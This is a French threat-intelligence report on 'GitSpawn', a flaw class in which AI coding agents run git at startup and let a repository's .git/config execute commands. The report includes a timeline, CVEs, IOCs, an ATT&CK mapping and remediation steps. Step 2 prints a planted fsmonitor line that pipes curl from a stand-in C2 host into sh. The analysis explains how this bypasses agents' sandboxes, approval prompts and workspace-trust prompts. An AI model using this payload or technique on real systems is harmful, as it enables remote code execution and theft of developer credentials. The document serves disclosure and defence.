Rapport CTI technique du 5 septembre 2026
Résumé exécutif
Manifold Security a publié le 1er septembre 2026 une recherche qui décrit huit failles réparties sur sept agents IA de codage en ligne de commande. Le mécanisme est toujours le même : ces agents lancent des commandes git en arrière-plan pour se construire un contexte projet au démarrage, et ils le font sans neutraliser la configuration git du dépôt qu'ils viennent d'ouvrir. Or plusieurs clés de configuration git sont des sinks d'exécution de commande. La clé core.fsmonitor, prévue pour accélérer le rafraîchissement de l'index sur les gros dépôts, désigne un programme auxiliaire que git exécute automatiquement. Un dépôt qui embarque son propre .git/config choisit donc ce que la machine du développeur va lancer.
Le résultat est une exécution de code arbitraire sous l'identité du développeur, hors du bac à sable de l'agent, sans invite d'approbation, et sur certains produits avant même que l'utilisateur soit authentifié ou ait accepté l'invite de confiance de l'espace de travail. Manifold a nommé cette classe GitSpawn. Quatre des huit constats restaient non corrigés au moment de la publication, dont Hermes Agent (CVE-2026-71963, CVE attribué par VulnCheck et non par l'éditeur), Qwen Code, Grok Build et un second chemin dans Claude Code. Goose a été corrigé sous CVE-2026-72718. La condition d'exploitation à retenir est précise : un git clone ne transporte jamais la charge, il faut que le dépôt arrive sous forme de fichiers avec son répertoire .git intact, donc par archive ZIP, partage réseau, dossier synchronisé ou clé USB.
Chronologie
| Date | Événement |
|---|---|
| 26 juin 2026 | Manifold signale la variante core.fsmonitor de Claude Code. Le rapport est clos comme doublon d'un signalement déposé le même jour. |
| 1er juillet 2026 | Un premier rapport de la même classe est déposé chez xAI pour Grok Build, puis classé « informative ». |
| 7 juillet 2026 | Signalement Qwen Code au centre de réponse sécurité d'Alibaba, accepté. |
| 8 juillet 2026 | Signalement Cursor, clos comme doublon d'un rapport antérieur. |
| 13 juillet 2026 | Signalement goose en 1.41.0. |
| 14 juillet 2026 | Signalement Grok Build, clos comme doublon du rapport du 1er juillet. |
| 15 juillet 2026 | Signalement de la seconde variante Claude Code sur le chemin ultrareview, en 2.1.210. Clos comme doublon d'un ticket interne. |
| 19 au 20 juillet 2026 | Confirmation puis signalement Hermes Agent en 0.18.2. Six tentatives de contact sur cinq canaux, l'avis GHSA privé n'est jamais trié. |
| 20 juillet 2026 | Signalement OpenAI Codex, clos comme doublon. Corrigé depuis. |
| 1er septembre 2026 | Retest sur versions courantes. Qwen Code 0.22.3, Grok Build 1.0.13, Claude Code 2.1.252 et Hermes 0.21.0 exécutent toujours la commande fournie par le dépôt. Publication de la recherche. |
| 2 au 4 septembre 2026 | Reprise par The Hacker News, GBHackers, Cybersecurity News et plusieurs agrégateurs. |
Fiche vulnérabilité (format fiche CTI)
CVE-2026-72718 | 7.0 (sévérité attribuée par les mainteneurs) | goose <= 1.41.0, corrigé en 1.44.0
goose review construit le diff des modifications en cours en lançant git diff dans le dépôt. La commande ne reçoit qu'un seul drapeau de configuration, core.quotePath=off, et rien n'est neutralisé par ailleurs. Le rafraîchissement de l'index déclenche la commande core.fsmonitor du dépôt avant que goose ne contacte le modèle. Conditions d'exploitation : le dépôt doit être présent sur disque avec son .git, et l'utilisateur doit lancer une revue. PoC disponible : oui, démonstration vidéo publiée par Manifold, pas de dépôt piégé prêt à l'emploi. Patch : mise à jour en 1.44.0. Avis GHSA-r5pp-p5r8-466r.
CVE-2026-71963 | Non scoré publiquement au 5 septembre | Hermes Agent 0.18.2 à 0.21.0
Hermes lance git status dans le répertoire de session pour récupérer le contexte du dépôt et laisse passer la configuration du dépôt telle quelle. Le rafraîchissement d'index exécute la commande core.fsmonitor. Le déclencheur est l'ouverture d'un dépôt suivie du premier message utilisateur. Conditions d'exploitation : identiques, présence du .git. PoC disponible : oui, vidéo Manifold. Patch : aucun au 1er septembre 2026, CVE attribué par VulnCheck en tant que CNA indépendante, l'éditeur n'ayant pas trié l'avis privé.
Sans CVE attribué | Non scoré | Claude Code, chemin ultrareview, confirmé sur 2.1.252
Cette variante ne repose pas sur core.fsmonitor mais sur une autre clé de configuration git de même nature, que le chemin de revue ne filtre pas. Manifold a délibérément laissé cette clé anonyme tant que le correctif n'est pas disponible. La commande s'exécute au démarrage, avant l'affichage de l'invite de confiance de l'espace de travail. La variante core.fsmonitor du même produit, elle, est corrigée depuis la 2.1.196. PoC disponible : partiel, vidéo sans détail de la clé. Patch : aucun au 1er septembre 2026.
Sans CVE attribué | Non scoré | Qwen Code, confirmé sur 0.22.3, et Grok Build, confirmé sur 1.0.13
Même sink core.fsmonitor, même absence de nettoyage de la configuration. Sur Qwen Code, la charge part au lancement de la commande qwen, avant authentification. Sur Grok Build, elle part à la première frappe clavier de l'utilisateur, avant l'envoi du moindre message. PoC disponible : oui, vidéos Manifold. Patch : aucun au 1er septembre 2026.
La faiblesse sous-jacente relève de CWE-78 (neutralisation incorrecte d'éléments spéciaux dans une commande système) combinée à CWE-15 (contrôle externe d'un paramètre de configuration système), et plus largement de CWE-426 pour les produits qui font confiance à un chemin de programme fourni par les données du projet.
Diagramme de la chaîne d'attaque

Chaîne reconstituée à partir de la recherche Manifold Security du 1er septembre 2026 et de la documentation git sur core.fsmonitor.
Analyse technique
Étape 1 : livrer le dépôt sous forme de fichiers
La contrainte de livraison est ce qui distingue GitSpawn d'une attaque de chaîne d'approvisionnement classique sur dépôt public. Git ne transporte pas la configuration locale d'un dépôt : clone, fetch et pull reconstruisent un .git/config local et ignorent celui de la source. Il faut donc que l'arborescence arrive telle quelle. En pratique, c'est banal. Un consultant livre un projet à un client dans un ZIP, un collègue dépose un dossier sur un partage SMB, un développeur restaure un projet depuis une sauvegarde ou une synchronisation Dropbox, un intervenant apporte le code sur une clé USB. Toutes ces voies préservent .git. Manifold a utilisé un ZIP pour l'ensemble de ses preuves de concept.
Pour un red teamer, cela déplace le vecteur du côté ingénierie sociale plutôt que du côté typosquatting. La cible n'est pas « un développeur qui clone n'importe quoi », c'est « un développeur qui reçoit un projet à auditer ».
Étape 2 : planter le sink dans .git/config
Le dépôt piégé contient simplement :
[core] fsmonitor = /bin/sh -c 'curl -s https://c2.example/stage1 | sh'
core.fsmonitor est une fonctionnalité documentée et légitime. Sur les très gros dépôts, parcourir chaque fichier pour détecter les modifications coûte cher, alors git délègue la question à un démon de surveillance du système de fichiers. La valeur de la clé est un chemin de programme, ou une ligne de commande, que git lance lui-même à chaque rafraîchissement d'index. Rien dans ce comportement n'est un bug de git : c'est l'usage prévu, et git considère que le contenu de .git/config est sous le contrôle de l'utilisateur.
C'est exactement l'hypothèse que casse une livraison par fichiers. Ce n'est d'ailleurs pas la seule clé concernée, core.pager, core.editor, les entrées diff.*.textconv et les définitions alias.* relèvent de la même famille. La variante Claude Code non corrigée exploite l'une d'entre elles, non nommée publiquement.
Étape 3 : laisser l'agent déclencher le rafraîchissement d'index
L'agent n'a rien à faire de particulier pour tomber dans le piège. Il suffit qu'il exécute une commande git qui touche à l'arbre de travail. Les deux échantillons relevés par Manifold sur des produits différents sont d'une banalité totale :
git status --porcelain=2 --branch git diff --name-only HEAD
Les deux forcent git à rafraîchir son index avant de répondre, et c'est ce rafraîchissement qui consulte core.fsmonitor. Le choix de la commande par l'agent n'a donc aucune importance. La parade côté éditeur est triviale à écrire, il suffit de forcer la valeur sur la ligne de commande :
git -c core.fsmonitor=false status --porcelain=2 --branch
Ce que révèle la recherche, c'est qu'aucun des agents examinés ne le faisait.
Étape 4 : sortir du modèle de permission
Le point qui rend GitSpawn intéressant du point de vue offensif tient au moment et au contexte d'exécution. La commande ne part pas d'un outil que le modèle a décidé d'appeler, elle part d'un sous-processus que le code de l'agent lance pour son propre compte. Elle ne passe donc jamais par la couche d'approbation, ni par le bac à sable dans lequel l'agent confine les commandes qu'il propose. Rien ne s'affiche à l'écran.
Le calendrier est pire encore. Sur Claude Code, la charge partait pendant la collecte de contexte au démarrage, avant acceptation de l'invite de confiance de l'espace de travail, c'est-à-dire avant le mécanisme censé protéger précisément contre le code non fiable. Sur Qwen Code, elle part avant l'authentification. Sur Grok Build, à la première frappe. Le développeur n'a encore rien demandé.
Étape 5 : capitaliser sur le poste développeur
Ce que l'attaquant récupère est le contenu habituel d'un poste de développeur, et il vaut cher : clés SSH dans ~/.ssh, jetons cloud dans les variables d'environnement, credentials de registre dans ~/.npmrc et ~/.docker/config.json, jetons d'API dans les fichiers de configuration du shell, l'ensemble des dépôts présents sur le disque, et un point d'appui persistant sur la machine. Un poste de développeur a en général accès en écriture à des dépôts qui alimentent des pipelines CI/CD, ce qui transforme un accès local en position de chaîne d'approvisionnement.
L'ampleur potentielle vient du volume d'installation. Manifold relève plus de 77 millions de téléchargements npm mensuels pour le paquet Claude Code d'après l'API npm, et un cumul proche du demi-million d'étoiles GitHub sur les cinq projets nommés.
Indicateurs de compromission
Aucun IOC réseau n'est publié, la recherche est une divulgation de vulnérabilité et non un rapport d'incident. Les indicateurs ci-dessous sont des artefacts de détection tirés du mécanisme, à instrumenter côté poste de travail.
| Type | Valeur |
|---|---|
| Fichier | Présence d'une clé fsmonitor dans un .git/config reçu de l'extérieur |
| Fichier | Clés core.pager, core.editor, alias.*, diff.*.textconv dans un .git/config non écrit localement |
| Processus | Processus enfant de git qui n'est ni git, ni ssh, ni un pager attendu (less, more) |
| Processus | sh, bash, powershell.exe, curl, wget dont le parent immédiat est un binaire git |
| Processus | Sous-processus lancé par un binaire d'agent (claude, qwen, goose, grok, hermes) dans les secondes suivant l'ouverture d'un dossier |
| Comportement | Connexion sortante émise par un processus enfant de git vers un domaine non lié à un forge connu |
| Fichier | Archive .zip ou dossier synchronisé contenant un répertoire .git complet, y compris config |
MITRE ATT&CK
Aucune cartographie officielle n'accompagne la publication de Manifold. La lecture ci-dessous est notre propre analyse technique, pas une attribution vendeur.
| Tactique | Technique | ID | Justification |
|---|---|---|---|
| Initial Access | Supply Chain Compromise: Compromise Software Dependencies and Development Tools | T1195.001 | Le vecteur est un projet de développement livré à la victime, dont le contenu contrôle l'exécution. |
| Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 | La valeur de core.fsmonitor est exécutée par git via un interpréteur de commandes. |
| Execution | User Execution: Malicious File | T1204.002 | L'exécution se déclenche à l'ouverture du dossier par l'agent, action initiée par l'utilisateur. |
| Defense Evasion | Abuse Elevation Control Mechanism | T1548 | Le sous-processus contourne l'invite d'approbation et le bac à sable de l'agent. |
| Defense Evasion | Masquerading: Match Legitimate Name or Location | T1036.005 | L'activité se présente comme du tooling de développement légitime, ce que l'EDR interprète comme normal. |
| Credential Access | Unsecured Credentials: Credentials In Files | T1552.001 | Cibles naturelles : .env, ~/.npmrc, ~/.docker/config.json, historiques de shell. |
| Credential Access | Unsecured Credentials: Private Keys | T1552.004 | Les clés SSH du développeur sont accessibles sous son identité. |
| Discovery | File and Directory Discovery | T1083 | Inventaire des dépôts présents sur le disque. |
| Persistence | Event Triggered Execution | T1546 | La clé de configuration reste en place et se redéclenche à chaque ouverture du dépôt. |
Remédiation : checklist opérationnelle
- Inspecter .git/config avant d'ouvrir avec un agent tout dépôt reçu sous forme de fichiers. Toute clé qui nomme un programme peut le lancer. Un grep -nE 'fsmonitor|pager|editor|textconv' .git/config prend deux secondes.
- Mettre à jour immédiatement les agents pour lesquels un correctif existe : goose 1.44.0 ou supérieur, Claude Code 2.1.196 ou supérieur pour la variante core.fsmonitor, Cursor et OpenAI Codex en version courante.
- Considérer Qwen Code, Grok Build, Hermes Agent et le chemin claude ultrareview comme vulnérables tant que les éditeurs n'ont pas publié. Interdire l'ouverture de dépôts d'origine externe avec ces outils.
- Neutraliser la configuration au niveau du système en positionnant les protections git globales, et vérifier que safe.directory est configuré pour les répertoires partagés. Cette mesure limite l'exposition mais ne couvre pas core.fsmonitor fourni par un dépôt dont l'utilisateur est propriétaire.
- Faire transiter les projets externes par un git clone local plutôt que par un ZIP. Le clone reconstruit la configuration et casse le vecteur.
- Ouvrir les projets non fiables dans une VM jetable ou un conteneur de développement sans clé SSH montée, sans variables d'environnement cloud et sans accès au reste du disque.
- Déployer une règle EDR sur la relation parent-enfant git vers interpréteur de commandes. Le volume de faux positifs est faible, les hooks git légitimes passent par .git/hooks et se distinguent par leur chemin.
- Auditer les postes qui ont ouvert des projets d'origine externe depuis juin 2026, en priorité chez les prestataires et les équipes de revue de code.
- Si vous éditez un agent, forcer la configuration sur chaque appel git de collecte de contexte, par exemple git -c core.fsmonitor=false status, et traiter toute lecture du dépôt comme une entrée non fiable.
- Étendre l'analyse aux autres artefacts que l'agent absorbe sans les avoir écrits : serveurs MCP, skills, plugins. Le format change, le schéma de confiance à l'arrivée reste le même.
Sources
- GitSpawn: A Single Flaw Lets Untrusted Repos Run Code in Claude Code, Codex, Cursor, and Grok, Manifold Security
- Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code, The Hacker News
- GitSpawn Flaws Let Malicious Repositories Execute Code in Claude Code, Codex, Cursor, and Grok, Cybersecurity News
- GitSpawn Flaw Enables Arbitrary Code Execution in Claude Code, Codex, Cursor and Grok, GBHackers
- Avis GHSA-r5pp-p5r8-466r, CVE-2026-72718, dépôt goose
- CVE-2026-71963, CVE.org
- Cursor CLI Ran Untrusted Repository Code With the Sandbox Switched Off, Manifold Security